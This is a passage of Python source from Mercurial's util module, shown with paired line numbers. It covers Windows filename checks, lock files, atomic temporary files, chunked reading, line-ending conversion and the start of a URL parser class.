2030 2041 b"filename contains '%s', which is invalid on Windows"
2031 2042 ) % stringutil.escapestr(c)
2032 2043 base = n.split(b'.')[0]
2033 2044 if base and base.lower() in _winreservednames:
2034 2045 return (
2035 2046 _(b"filename contains '%s', which is reserved on Windows")
2036 2047 % base
2037 2048 )
2038 2049 t = n[-1:]
2039 2050 if t in b'. ' and n not in b'..':
2040 2051 return (
2041 2052 _(
2042 2053 b"filename ends with '%s', which is not allowed "
2043 2054 b"on Windows"
2044 2055 )
2045 2056 % t
2046 2057 )
2047 2058
2048 2059
2049 2060 if pycompat.iswindows:
2050 2061 checkosfilename = checkwinfilename
2051 2062 timer = time.clock
2052 2063 else:
2053 2064 # mercurial.windows doesn't have platform.checkosfilename
2054 2065 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2055 2066 timer = time.time
2056 2067
2057 2068 if safehasattr(time, "perf_counter"):
2058 2069 timer = time.perf_counter
2059 2070
2060 2071
2061 2072 def makelock(info, pathname):
2062 2073 """Create a lock file atomically if possible
2063 2074
2064 2075 This may leave a stale lock file if symlink isn't supported and signal
2065 2076 interrupt is enabled.
2066 2077 """
2067 2078 try:
2068 2079 return os.symlink(info, pathname)
2069 2080 except OSError as why:
2070 2081 if why.errno == errno.EEXIST:
2071 2082 raise
2072 2083 except AttributeError: # no symlink in os
2073 2084 pass
2074 2085
2075 2086 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2076 2087 ld = os.open(pathname, flags)
2077 2088 os.write(ld, info)
2078 2089 os.close(ld)
2079 2090
2080 2091
2081 2092 def readlock(pathname):
2082 2093 try:
2083 2094 return readlink(pathname)
2084 2095 except OSError as why:
2085 2096 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2086 2097 raise
2087 2098 except AttributeError: # no symlink in os
2088 2099 pass
2089 2100 with posixfile(pathname, b'rb') as fp:
2090 2101 return fp.read()
2091 2102
2092 2103
2093 2104 def fstat(fp):
2094 2105 '''stat file object that may not have fileno method.'''
2095 2106 try:
2096 2107 return os.fstat(fp.fileno())
2097 2108 except AttributeError:
2098 2109 return os.stat(fp.name)
2099 2110
2100 2111
2101 2112 # File system features
2102 2113
2103 2114
2104 2115 def fscasesensitive(path):
2105 2116 """
2106 2117 Return true if the given path is on a case-sensitive filesystem
2107 2118
2108 2119 Requires a path (like /foo/.hg) ending with a foldable final
2109 2120 directory component.
2110 2121 """
2111 2122 s1 = os.lstat(path)
2112 2123 d, b = os.path.split(path)
2113 2124 b2 = b.upper()
2114 2125 if b == b2:
2115 2126 b2 = b.lower()
2116 2127 if b == b2:
2117 2128 return True # no evidence against case sensitivity
2118 2129 p2 = os.path.join(d, b2)
2119 2130 try:
2120 2131 s2 = os.lstat(p2)
2121 2132 if s2 == s1:
2122 2133 return False
2123 2134 return True
2124 2135 except OSError:
2125 2136 return True
2126 2137
2127 2138
2128 2139 try:
2129 2140 import re2 # pytype: disable=import-error
2130 2141
2131 2142 _re2 = None
2132 2143 except ImportError:
2133 2144 _re2 = False
2134 2145
2135 2146
2136 2147 class _re(object):
2137 2148 def _checkre2(self):
2138 2149 global _re2
2139 2150 try:
2140 2151 # check if match works, see issue3964
2141 2152 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2142 2153 except ImportError:
2143 2154 _re2 = False
2144 2155
2145 2156 def compile(self, pat, flags=0):
2146 2157 '''Compile a regular expression, using re2 if possible
2147 2158
2148 2159 For best performance, use only re2-compatible regexp features. The
2149 2160 only flags from the re module that are re2-compatible are
2150 2161 IGNORECASE and MULTILINE.'''
2151 2162 if _re2 is None:
2152 2163 self._checkre2()
2153 2164 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2154 2165 if flags & remod.IGNORECASE:
2155 2166 pat = b'(?i)' + pat
2156 2167 if flags & remod.MULTILINE:
2157 2168 pat = b'(?m)' + pat
2158 2169 try:
2159 2170 return re2.compile(pat)
2160 2171 except re2.error:
2161 2172 pass
2162 2173 return remod.compile(pat, flags)
2163 2174
2164 2175 @propertycache
2165 2176 def escape(self):
2166 2177 '''Return the version of escape corresponding to self.compile.
2167 2178
2168 2179 This is imperfect because whether re2 or re is used for a particular
2169 2180 function depends on the flags, etc, but it's the best we can do.
2170 2181 '''
2171 2182 global _re2
2172 2183 if _re2 is None:
2173 2184 self._checkre2()
2174 2185 if _re2:
2175 2186 return re2.escape
2176 2187 else:
2177 2188 return remod.escape
2178 2189
2179 2190
2180 2191 re = _re()
2181 2192
2182 2193 _fspathcache = {}
2183 2194
2184 2195
2185 2196 def fspath(name, root):
2186 2197 '''Get name in the case stored in the filesystem
2187 2198
2188 2199 The name should be relative to root, and be normcase-ed for efficiency.
2189 2200
2190 2201 Note that this function is unnecessary, and should not be
2191 2202 called, for case-sensitive filesystems (simply because it's expensive).
2192 2203
2193 2204 The root should be normcase-ed, too.
2194 2205 '''
2195 2206
2196 2207 def _makefspathcacheentry(dir):
2197 2208 return dict((normcase(n), n) for n in os.listdir(dir))
2198 2209
2199 2210 seps = pycompat.ossep
2200 2211 if pycompat.osaltsep:
2201 2212 seps = seps + pycompat.osaltsep
2202 2213 # Protect backslashes. This gets silly very quickly.
2203 2214 seps.replace(b'\\', b'\\\\')
2204 2215 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2205 2216 dir = os.path.normpath(root)
2206 2217 result = []
2207 2218 for part, sep in pattern.findall(name):
2208 2219 if sep:
2209 2220 result.append(sep)
2210 2221 continue
2211 2222
2212 2223 if dir not in _fspathcache:
2213 2224 _fspathcache[dir] = _makefspathcacheentry(dir)
2214 2225 contents = _fspathcache[dir]
2215 2226
2216 2227 found = contents.get(part)
2217 2228 if not found:
2218 2229 # retry "once per directory" per "dirstate.walk" which
2219 2230 # may take place for each patches of "hg qpush", for example
2220 2231 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2221 2232 found = contents.get(part)
2222 2233
2223 2234 result.append(found or part)
2224 2235 dir = os.path.join(dir, part)
2225 2236
2226 2237 return b''.join(result)
2227 2238
2228 2239
2229 2240 def checknlink(testfile):
2230 2241 '''check whether hardlink count reporting works properly'''
2231 2242
2232 2243 # testfile may be open, so we need a separate file for checking to
2233 2244 # work around issue2543 (or testfile may get lost on Samba shares)
2234 2245 f1, f2, fp = None, None, None
2235 2246 try:
2236 2247 fd, f1 = pycompat.mkstemp(
2237 2248 prefix=b'.%s-' % os.path.basename(testfile),
2238 2249 suffix=b'1~',
2239 2250 dir=os.path.dirname(testfile),
2240 2251 )
2241 2252 os.close(fd)
2242 2253 f2 = b'%s2~' % f1[:-2]
2243 2254
2244 2255 oslink(f1, f2)
2245 2256 # nlinks() may behave differently for files on Windows shares if
2246 2257 # the file is open.
2247 2258 fp = posixfile(f2)
2248 2259 return nlinks(f2) > 1
2249 2260 except OSError:
2250 2261 return False
2251 2262 finally:
2252 2263 if fp is not None:
2253 2264 fp.close()
2254 2265 for f in (f1, f2):
2255 2266 try:
2256 2267 if f is not None:
2257 2268 os.unlink(f)
2258 2269 except OSError:
2259 2270 pass
2260 2271
2261 2272
2262 2273 def endswithsep(path):
2263 2274 '''Check path ends with os.sep or os.altsep.'''
2264 2275 return (
2265 2276 path.endswith(pycompat.ossep)
2266 2277 or pycompat.osaltsep
2267 2278 and path.endswith(pycompat.osaltsep)
2268 2279 )
2269 2280
2270 2281
2271 2282 def splitpath(path):
2272 2283 '''Split path by os.sep.
2273 2284 Note that this function does not use os.altsep because this is
2274 2285 an alternative of simple "xxx.split(os.sep)".
2275 2286 It is recommended to use os.path.normpath() before using this
2276 2287 function if need.'''
2277 2288 return path.split(pycompat.ossep)
2278 2289
2279 2290
2280 2291 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2281 2292 """Create a temporary file with the same contents from name
2282 2293
2283 2294 The permission bits are copied from the original file.
2284 2295
2285 2296 If the temporary file is going to be truncated immediately, you
2286 2297 can use emptyok=True as an optimization.
2287 2298
2288 2299 Returns the name of the temporary file.
2289 2300 """
2290 2301 d, fn = os.path.split(name)
2291 2302 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2292 2303 os.close(fd)
2293 2304 # Temporary files are created with mode 0600, which is usually not
2294 2305 # what we want. If the original file already exists, just copy
2295 2306 # its mode. Otherwise, manually obey umask.
2296 2307 copymode(name, temp, createmode, enforcewritable)
2297 2308
2298 2309 if emptyok:
2299 2310 return temp
2300 2311 try:
2301 2312 try:
2302 2313 ifp = posixfile(name, b"rb")
2303 2314 except IOError as inst:
2304 2315 if inst.errno == errno.ENOENT:
2305 2316 return temp
2306 2317 if not getattr(inst, 'filename', None):
2307 2318 inst.filename = name
2308 2319 raise
2309 2320 ofp = posixfile(temp, b"wb")
2310 2321 for chunk in filechunkiter(ifp):
2311 2322 ofp.write(chunk)
2312 2323 ifp.close()
2313 2324 ofp.close()
2314 2325 except: # re-raises
2315 2326 try:
2316 2327 os.unlink(temp)
2317 2328 except OSError:
2318 2329 pass
2319 2330 raise
2320 2331 return temp
2321 2332
2322 2333
2323 2334 class filestat(object):
2324 2335 """help to exactly detect change of a file
2325 2336
2326 2337 'stat' attribute is result of 'os.stat()' if specified 'path'
2327 2338 exists. Otherwise, it is None. This can avoid preparative
2328 2339 'exists()' examination on client side of this class.
2329 2340 """
2330 2341
2331 2342 def __init__(self, stat):
2332 2343 self.stat = stat
2333 2344
2334 2345 @classmethod
2335 2346 def frompath(cls, path):
2336 2347 try:
2337 2348 stat = os.stat(path)
2338 2349 except OSError as err:
2339 2350 if err.errno != errno.ENOENT:
2340 2351 raise
2341 2352 stat = None
2342 2353 return cls(stat)
2343 2354
2344 2355 @classmethod
2345 2356 def fromfp(cls, fp):
2346 2357 stat = os.fstat(fp.fileno())
2347 2358 return cls(stat)
2348 2359
2349 2360 __hash__ = object.__hash__
2350 2361
2351 2362 def __eq__(self, old):
2352 2363 try:
2353 2364 # if ambiguity between stat of new and old file is
2354 2365 # avoided, comparison of size, ctime and mtime is enough
2355 2366 # to exactly detect change of a file regardless of platform
2356 2367 return (
2357 2368 self.stat.st_size == old.stat.st_size
2358 2369 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2359 2370 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2360 2371 )
2361 2372 except AttributeError:
2362 2373 pass
2363 2374 try:
2364 2375 return self.stat is None and old.stat is None
2365 2376 except AttributeError:
2366 2377 return False
2367 2378
2368 2379 def isambig(self, old):
2369 2380 """Examine whether new (= self) stat is ambiguous against old one
2370 2381
2371 2382 "S[N]" below means stat of a file at N-th change:
2372 2383
2373 2384 - S[n-1].ctime < S[n].ctime: can detect change of a file
2374 2385 - S[n-1].ctime == S[n].ctime
2375 2386 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2376 2387 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2377 2388 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2378 2389 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2379 2390
2380 2391 Case (*2) above means that a file was changed twice or more at
2381 2392 same time in sec (= S[n-1].ctime), and comparison of timestamp
2382 2393 is ambiguous.
2383 2394
2384 2395 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2385 2396 timestamp is ambiguous".
2386 2397
2387 2398 But advancing mtime only in case (*2) doesn't work as
2388 2399 expected, because naturally advanced S[n].mtime in case (*1)
2389 2400 might be equal to manually advanced S[n-1 or earlier].mtime.
2390 2401
2391 2402 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2392 2403 treated as ambiguous regardless of mtime, to avoid overlooking
2393 2404 by confliction between such mtime.
2394 2405
2395 2406 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2396 2407 S[n].mtime", even if size of a file isn't changed.
2397 2408 """
2398 2409 try:
2399 2410 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2400 2411 except AttributeError:
2401 2412 return False
2402 2413
2403 2414 def avoidambig(self, path, old):
2404 2415 """Change file stat of specified path to avoid ambiguity
2405 2416
2406 2417 'old' should be previous filestat of 'path'.
2407 2418
2408 2419 This skips avoiding ambiguity, if a process doesn't have
2409 2420 appropriate privileges for 'path'. This returns False in this
2410 2421 case.
2411 2422
2412 2423 Otherwise, this returns True, as "ambiguity is avoided".
2413 2424 """
2414 2425 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2415 2426 try:
2416 2427 os.utime(path, (advanced, advanced))
2417 2428 except OSError as inst:
2418 2429 if inst.errno == errno.EPERM:
2419 2430 # utime() on the file created by another user causes EPERM,
2420 2431 # if a process doesn't have appropriate privileges
2421 2432 return False
2422 2433 raise
2423 2434 return True
2424 2435
2425 2436 def __ne__(self, other):
2426 2437 return not self == other
2427 2438
2428 2439
2429 2440 class atomictempfile(object):
2430 2441 '''writable file object that atomically updates a file
2431 2442
2432 2443 All writes will go to a temporary copy of the original file. Call
2433 2444 close() when you are done writing, and atomictempfile will rename
2434 2445 the temporary copy to the original name, making the changes
2435 2446 visible. If the object is destroyed without being closed, all your
2436 2447 writes are discarded.
2437 2448
2438 2449 checkambig argument of constructor is used with filestat, and is
2439 2450 useful only if target file is guarded by any lock (e.g. repo.lock
2440 2451 or repo.wlock).
2441 2452 '''
2442 2453
2443 2454 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2444 2455 self.__name = name # permanent name
2445 2456 self._tempname = mktempcopy(
2446 2457 name,
2447 2458 emptyok=(b'w' in mode),
2448 2459 createmode=createmode,
2449 2460 enforcewritable=(b'w' in mode),
2450 2461 )
2451 2462
2452 2463 self._fp = posixfile(self._tempname, mode)
2453 2464 self._checkambig = checkambig
2454 2465
2455 2466 # delegated methods
2456 2467 self.read = self._fp.read
2457 2468 self.write = self._fp.write
2458 2469 self.seek = self._fp.seek
2459 2470 self.tell = self._fp.tell
2460 2471 self.fileno = self._fp.fileno
2461 2472
2462 2473 def close(self):
2463 2474 if not self._fp.closed:
2464 2475 self._fp.close()
2465 2476 filename = localpath(self.__name)
2466 2477 oldstat = self._checkambig and filestat.frompath(filename)
2467 2478 if oldstat and oldstat.stat:
2468 2479 rename(self._tempname, filename)
2469 2480 newstat = filestat.frompath(filename)
2470 2481 if newstat.isambig(oldstat):
2471 2482 # stat of changed file is ambiguous to original one
2472 2483 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2473 2484 os.utime(filename, (advanced, advanced))
2474 2485 else:
2475 2486 rename(self._tempname, filename)
2476 2487
2477 2488 def discard(self):
2478 2489 if not self._fp.closed:
2479 2490 try:
2480 2491 os.unlink(self._tempname)
2481 2492 except OSError:
2482 2493 pass
2483 2494 self._fp.close()
2484 2495
2485 2496 def __del__(self):
2486 2497 if safehasattr(self, '_fp'): # constructor actually did something
2487 2498 self.discard()
2488 2499
2489 2500 def __enter__(self):
2490 2501 return self
2491 2502
2492 2503 def __exit__(self, exctype, excvalue, traceback):
2493 2504 if exctype is not None:
2494 2505 self.discard()
2495 2506 else:
2496 2507 self.close()
2497 2508
2498 2509
2499 2510 def unlinkpath(f, ignoremissing=False, rmdir=True):
2500 2511 """unlink and remove the directory if it is empty"""
2501 2512 if ignoremissing:
2502 2513 tryunlink(f)
2503 2514 else:
2504 2515 unlink(f)
2505 2516 if rmdir:
2506 2517 # try removing directories that might now be empty
2507 2518 try:
2508 2519 removedirs(os.path.dirname(f))
2509 2520 except OSError:
2510 2521 pass
2511 2522
2512 2523
2513 2524 def tryunlink(f):
2514 2525 """Attempt to remove a file, ignoring ENOENT errors."""
2515 2526 try:
2516 2527 unlink(f)
2517 2528 except OSError as e:
2518 2529 if e.errno != errno.ENOENT:
2519 2530 raise
2520 2531
2521 2532
2522 2533 def makedirs(name, mode=None, notindexed=False):
2523 2534 """recursive directory creation with parent mode inheritance
2524 2535
2525 2536 Newly created directories are marked as "not to be indexed by
2526 2537 the content indexing service", if ``notindexed`` is specified
2527 2538 for "write" mode access.
2528 2539 """
2529 2540 try:
2530 2541 makedir(name, notindexed)
2531 2542 except OSError as err:
2532 2543 if err.errno == errno.EEXIST:
2533 2544 return
2534 2545 if err.errno != errno.ENOENT or not name:
2535 2546 raise
2536 2547 parent = os.path.dirname(os.path.abspath(name))
2537 2548 if parent == name:
2538 2549 raise
2539 2550 makedirs(parent, mode, notindexed)
2540 2551 try:
2541 2552 makedir(name, notindexed)
2542 2553 except OSError as err:
2543 2554 # Catch EEXIST to handle races
2544 2555 if err.errno == errno.EEXIST:
2545 2556 return
2546 2557 raise
2547 2558 if mode is not None:
2548 2559 os.chmod(name, mode)
2549 2560
2550 2561
2551 2562 def readfile(path):
2552 2563 with open(path, b'rb') as fp:
2553 2564 return fp.read()
2554 2565
2555 2566
2556 2567 def writefile(path, text):
2557 2568 with open(path, b'wb') as fp:
2558 2569 fp.write(text)
2559 2570
2560 2571
2561 2572 def appendfile(path, text):
2562 2573 with open(path, b'ab') as fp:
2563 2574 fp.write(text)
2564 2575
2565 2576
2566 2577 class chunkbuffer(object):
2567 2578 """Allow arbitrary sized chunks of data to be efficiently read from an
2568 2579 iterator over chunks of arbitrary size."""
2569 2580
2570 2581 def __init__(self, in_iter):
2571 2582 """in_iter is the iterator that's iterating over the input chunks."""
2572 2583
2573 2584 def splitbig(chunks):
2574 2585 for chunk in chunks:
2575 2586 if len(chunk) > 2 ** 20:
2576 2587 pos = 0
2577 2588 while pos < len(chunk):
2578 2589 end = pos + 2 ** 18
2579 2590 yield chunk[pos:end]
2580 2591 pos = end
2581 2592 else:
2582 2593 yield chunk
2583 2594
2584 2595 self.iter = splitbig(in_iter)
2585 2596 self._queue = collections.deque()
2586 2597 self._chunkoffset = 0
2587 2598
2588 2599 def read(self, l=None):
2589 2600 """Read L bytes of data from the iterator of chunks of data.
2590 2601 Returns less than L bytes if the iterator runs dry.
2591 2602
2592 2603 If size parameter is omitted, read everything"""
2593 2604 if l is None:
2594 2605 return b''.join(self.iter)
2595 2606
2596 2607 left = l
2597 2608 buf = []
2598 2609 queue = self._queue
2599 2610 while left > 0:
2600 2611 # refill the queue
2601 2612 if not queue:
2602 2613 target = 2 ** 18
2603 2614 for chunk in self.iter:
2604 2615 queue.append(chunk)
2605 2616 target -= len(chunk)
2606 2617 if target <= 0:
2607 2618 break
2608 2619 if not queue:
2609 2620 break
2610 2621
2611 2622 # The easy way to do this would be to queue.popleft(), modify the
2612 2623 # chunk (if necessary), then queue.appendleft(). However, for cases
2613 2624 # where we read partial chunk content, this incurs 2 dequeue
2614 2625 # mutations and creates a new str for the remaining chunk in the
2615 2626 # queue. Our code below avoids this overhead.
2616 2627
2617 2628 chunk = queue[0]
2618 2629 chunkl = len(chunk)
2619 2630 offset = self._chunkoffset
2620 2631
2621 2632 # Use full chunk.
2622 2633 if offset == 0 and left >= chunkl:
2623 2634 left -= chunkl
2624 2635 queue.popleft()
2625 2636 buf.append(chunk)
2626 2637 # self._chunkoffset remains at 0.
2627 2638 continue
2628 2639
2629 2640 chunkremaining = chunkl - offset
2630 2641
2631 2642 # Use all of unconsumed part of chunk.
2632 2643 if left >= chunkremaining:
2633 2644 left -= chunkremaining
2634 2645 queue.popleft()
2635 2646 # offset == 0 is enabled by block above, so this won't merely
2636 2647 # copy via ``chunk[0:]``.
2637 2648 buf.append(chunk[offset:])
2638 2649 self._chunkoffset = 0
2639 2650
2640 2651 # Partial chunk needed.
2641 2652 else:
2642 2653 buf.append(chunk[offset : offset + left])
2643 2654 self._chunkoffset += left
2644 2655 left -= chunkremaining
2645 2656
2646 2657 return b''.join(buf)
2647 2658
2648 2659
2649 2660 def filechunkiter(f, size=131072, limit=None):
2650 2661 """Create a generator that produces the data in the file size
2651 2662 (default 131072) bytes at a time, up to optional limit (default is
2652 2663 to read all data). Chunks may be less than size bytes if the
2653 2664 chunk is the last chunk in the file, or the file is a socket or
2654 2665 some other type of file that sometimes reads less data than is
2655 2666 requested."""
2656 2667 assert size >= 0
2657 2668 assert limit is None or limit >= 0
2658 2669 while True:
2659 2670 if limit is None:
2660 2671 nbytes = size
2661 2672 else:
2662 2673 nbytes = min(limit, size)
2663 2674 s = nbytes and f.read(nbytes)
2664 2675 if not s:
2665 2676 break
2666 2677 if limit:
2667 2678 limit -= len(s)
2668 2679 yield s
2669 2680
2670 2681
2671 2682 class cappedreader(object):
2672 2683 """A file object proxy that allows reading up to N bytes.
2673 2684
2674 2685 Given a source file object, instances of this type allow reading up to
2675 2686 N bytes from that source file object. Attempts to read past the allowed
2676 2687 limit are treated as EOF.
2677 2688
2678 2689 It is assumed that I/O is not performed on the original file object
2679 2690 in addition to I/O that is performed by this instance. If there is,
2680 2691 state tracking will get out of sync and unexpected results will ensue.
2681 2692 """
2682 2693
2683 2694 def __init__(self, fh, limit):
2684 2695 """Allow reading up to <limit> bytes from <fh>."""
2685 2696 self._fh = fh
2686 2697 self._left = limit
2687 2698
2688 2699 def read(self, n=-1):
2689 2700 if not self._left:
2690 2701 return b''
2691 2702
2692 2703 if n < 0:
2693 2704 n = self._left
2694 2705
2695 2706 data = self._fh.read(min(n, self._left))
2696 2707 self._left -= len(data)
2697 2708 assert self._left >= 0
2698 2709
2699 2710 return data
2700 2711
2701 2712 def readinto(self, b):
2702 2713 res = self.read(len(b))
2703 2714 if res is None:
2704 2715 return None
2705 2716
2706 2717 b[0 : len(res)] = res
2707 2718 return len(res)
2708 2719
2709 2720
2710 2721 def unitcountfn(*unittable):
2711 2722 '''return a function that renders a readable count of some quantity'''
2712 2723
2713 2724 def go(count):
2714 2725 for multiplier, divisor, format in unittable:
2715 2726 if abs(count) >= divisor * multiplier:
2716 2727 return format % (count / float(divisor))
2717 2728 return unittable[-1][2] % count
2718 2729
2719 2730 return go
2720 2731
2721 2732
2722 2733 def processlinerange(fromline, toline):
2723 2734 """Check that linerange <fromline>:<toline> makes sense and return a
2724 2735 0-based range.
2725 2736
2726 2737 >>> processlinerange(10, 20)
2727 2738 (9, 20)
2728 2739 >>> processlinerange(2, 1)
2729 2740 Traceback (most recent call last):
2730 2741 ...
2731 2742 ParseError: line range must be positive
2732 2743 >>> processlinerange(0, 5)
2733 2744 Traceback (most recent call last):
2734 2745 ...
2735 2746 ParseError: fromline must be strictly positive
2736 2747 """
2737 2748 if toline - fromline < 0:
2738 2749 raise error.ParseError(_(b"line range must be positive"))
2739 2750 if fromline < 1:
2740 2751 raise error.ParseError(_(b"fromline must be strictly positive"))
2741 2752 return fromline - 1, toline
2742 2753
2743 2754
2744 2755 bytecount = unitcountfn(
2745 2756 (100, 1 << 30, _(b'%.0f GB')),
2746 2757 (10, 1 << 30, _(b'%.1f GB')),
2747 2758 (1, 1 << 30, _(b'%.2f GB')),
2748 2759 (100, 1 << 20, _(b'%.0f MB')),
2749 2760 (10, 1 << 20, _(b'%.1f MB')),
2750 2761 (1, 1 << 20, _(b'%.2f MB')),
2751 2762 (100, 1 << 10, _(b'%.0f KB')),
2752 2763 (10, 1 << 10, _(b'%.1f KB')),
2753 2764 (1, 1 << 10, _(b'%.2f KB')),
2754 2765 (1, 1, _(b'%.0f bytes')),
2755 2766 )
2756 2767
2757 2768
2758 2769 class transformingwriter(object):
2759 2770 """Writable file wrapper to transform data by function"""
2760 2771
2761 2772 def __init__(self, fp, encode):
2762 2773 self._fp = fp
2763 2774 self._encode = encode
2764 2775
2765 2776 def close(self):
2766 2777 self._fp.close()
2767 2778
2768 2779 def flush(self):
2769 2780 self._fp.flush()
2770 2781
2771 2782 def write(self, data):
2772 2783 return self._fp.write(self._encode(data))
2773 2784
2774 2785
2775 2786 # Matches a single EOL which can either be a CRLF where repeated CR
2776 2787 # are removed or a LF. We do not care about old Macintosh files, so a
2777 2788 # stray CR is an error.
2778 2789 _eolre = remod.compile(br'\r*\n')
2779 2790
2780 2791
2781 2792 def tolf(s):
2782 2793 return _eolre.sub(b'\n', s)
2783 2794
2784 2795
2785 2796 def tocrlf(s):
2786 2797 return _eolre.sub(b'\r\n', s)
2787 2798
2788 2799
2789 2800 def _crlfwriter(fp):
2790 2801 return transformingwriter(fp, tocrlf)
2791 2802
2792 2803
2793 2804 if pycompat.oslinesep == b'\r\n':
2794 2805 tonativeeol = tocrlf
2795 2806 fromnativeeol = tolf
2796 2807 nativeeolwriter = _crlfwriter
2797 2808 else:
2798 2809 tonativeeol = pycompat.identity
2799 2810 fromnativeeol = pycompat.identity
2800 2811 nativeeolwriter = pycompat.identity
2801 2812
2802 2813 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2803 2814 3,
2804 2815 0,
2805 2816 ):
2806 2817 # There is an issue in CPython that some IO methods do not handle EINTR
2807 2818 # correctly. The following table shows what CPython version (and functions)
2808 2819 # are affected (buggy: has the EINTR bug, okay: otherwise):
2809 2820 #
2810 2821 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2811 2822 # --------------------------------------------------
2812 2823 # fp.__iter__ | buggy | buggy | okay
2813 2824 # fp.read* | buggy | okay [1] | okay
2814 2825 #
2815 2826 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2816 2827 #
2817 2828 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2818 2829 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2819 2830 #
2820 2831 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2821 2832 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2822 2833 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2823 2834 # fp.__iter__ but not other fp.read* methods.
2824 2835 #
2825 2836 # On modern systems like Linux, the "read" syscall cannot be interrupted
2826 2837 # when reading "fast" files like on-disk files. So the EINTR issue only
2827 2838 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2828 2839 # files approximately as "fast" files and use the fast (unsafe) code path,
2829 2840 # to minimize the performance impact.
2830 2841 if sys.version_info >= (2, 7, 4):
2831 2842 # fp.readline deals with EINTR correctly, use it as a workaround.
2832 2843 def _safeiterfile(fp):
2833 2844 return iter(fp.readline, b'')
2834 2845
2835 2846 else:
2836 2847 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2837 2848 # note: this may block longer than necessary because of bufsize.
2838 2849 def _safeiterfile(fp, bufsize=4096):
2839 2850 fd = fp.fileno()
2840 2851 line = b''
2841 2852 while True:
2842 2853 try:
2843 2854 buf = os.read(fd, bufsize)
2844 2855 except OSError as ex:
2845 2856 # os.read only raises EINTR before any data is read
2846 2857 if ex.errno == errno.EINTR:
2847 2858 continue
2848 2859 else:
2849 2860 raise
2850 2861 line += buf
2851 2862 if b'\n' in buf:
2852 2863 splitted = line.splitlines(True)
2853 2864 line = b''
2854 2865 for l in splitted:
2855 2866 if l[-1] == b'\n':
2856 2867 yield l
2857 2868 else:
2858 2869 line = l
2859 2870 if not buf:
2860 2871 break
2861 2872 if line:
2862 2873 yield line
2863 2874
2864 2875 def iterfile(fp):
2865 2876 fastpath = True
2866 2877 if type(fp) is file:
2867 2878 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2868 2879 if fastpath:
2869 2880 return fp
2870 2881 else:
2871 2882 return _safeiterfile(fp)
2872 2883
2873 2884
2874 2885 else:
2875 2886 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2876 2887 def iterfile(fp):
2877 2888 return fp
2878 2889
2879 2890
2880 2891 def iterlines(iterator):
2881 2892 for chunk in iterator:
2882 2893 for line in chunk.splitlines():
2883 2894 yield line
2884 2895
2885 2896
2886 2897 def expandpath(path):
2887 2898 return os.path.expanduser(os.path.expandvars(path))
2888 2899
2889 2900
2890 2901 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2891 2902 """Return the result of interpolating items in the mapping into string s.
2892 2903
2893 2904 prefix is a single character string, or a two character string with
2894 2905 a backslash as the first character if the prefix needs to be escaped in
2895 2906 a regular expression.
2896 2907
2897 2908 fn is an optional function that will be applied to the replacement text
2898 2909 just before replacement.
2899 2910
2900 2911 escape_prefix is an optional flag that allows using doubled prefix for
2901 2912 its escaping.
2902 2913 """
2903 2914 fn = fn or (lambda s: s)
2904 2915 patterns = b'|'.join(mapping.keys())
2905 2916 if escape_prefix:
2906 2917 patterns += b'|' + prefix
2907 2918 if len(prefix) > 1:
2908 2919 prefix_char = prefix[1:]
2909 2920 else:
2910 2921 prefix_char = prefix
2911 2922 mapping[prefix_char] = prefix_char
2912 2923 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2913 2924 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2914 2925
2915 2926
2916 2927 def getport(port):
2917 2928 """Return the port for a given network service.
2918 2929
2919 2930 If port is an integer, it's returned as is. If it's a string, it's
2920 2931 looked up using socket.getservbyname(). If there's no matching
2921 2932 service, error.Abort is raised.
2922 2933 """
2923 2934 try:
2924 2935 return int(port)
2925 2936 except ValueError:
2926 2937 pass
2927 2938
2928 2939 try:
2929 2940 return socket.getservbyname(pycompat.sysstr(port))
2930 2941 except socket.error:
2931 2942 raise error.Abort(
2932 2943 _(b"no port number associated with service '%s'") % port
2933 2944 )
2934 2945
2935 2946
2936 2947 class url(object):
2937 2948 r"""Reliable URL parser.
2938 2949
2939 2950 This parses URLs and provides attributes for the following
2940 2951 components:
2941 2952
2942 2953 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2943 2954
2944 2955 Missing components are set to None. The only exception is
2945 2956 fragment, which is set to '' if present but empty.
2946 2957
2947 2958 If parsefragment is False, fragment is included in query. If
2948 2959 parsequery is False, query is included in path. If both are
2949 2960 False, both fragment and query are included in path.
2950 2961
2951 2962 See http://www.ietf.org/rfc/rfc2396.txt for more information.
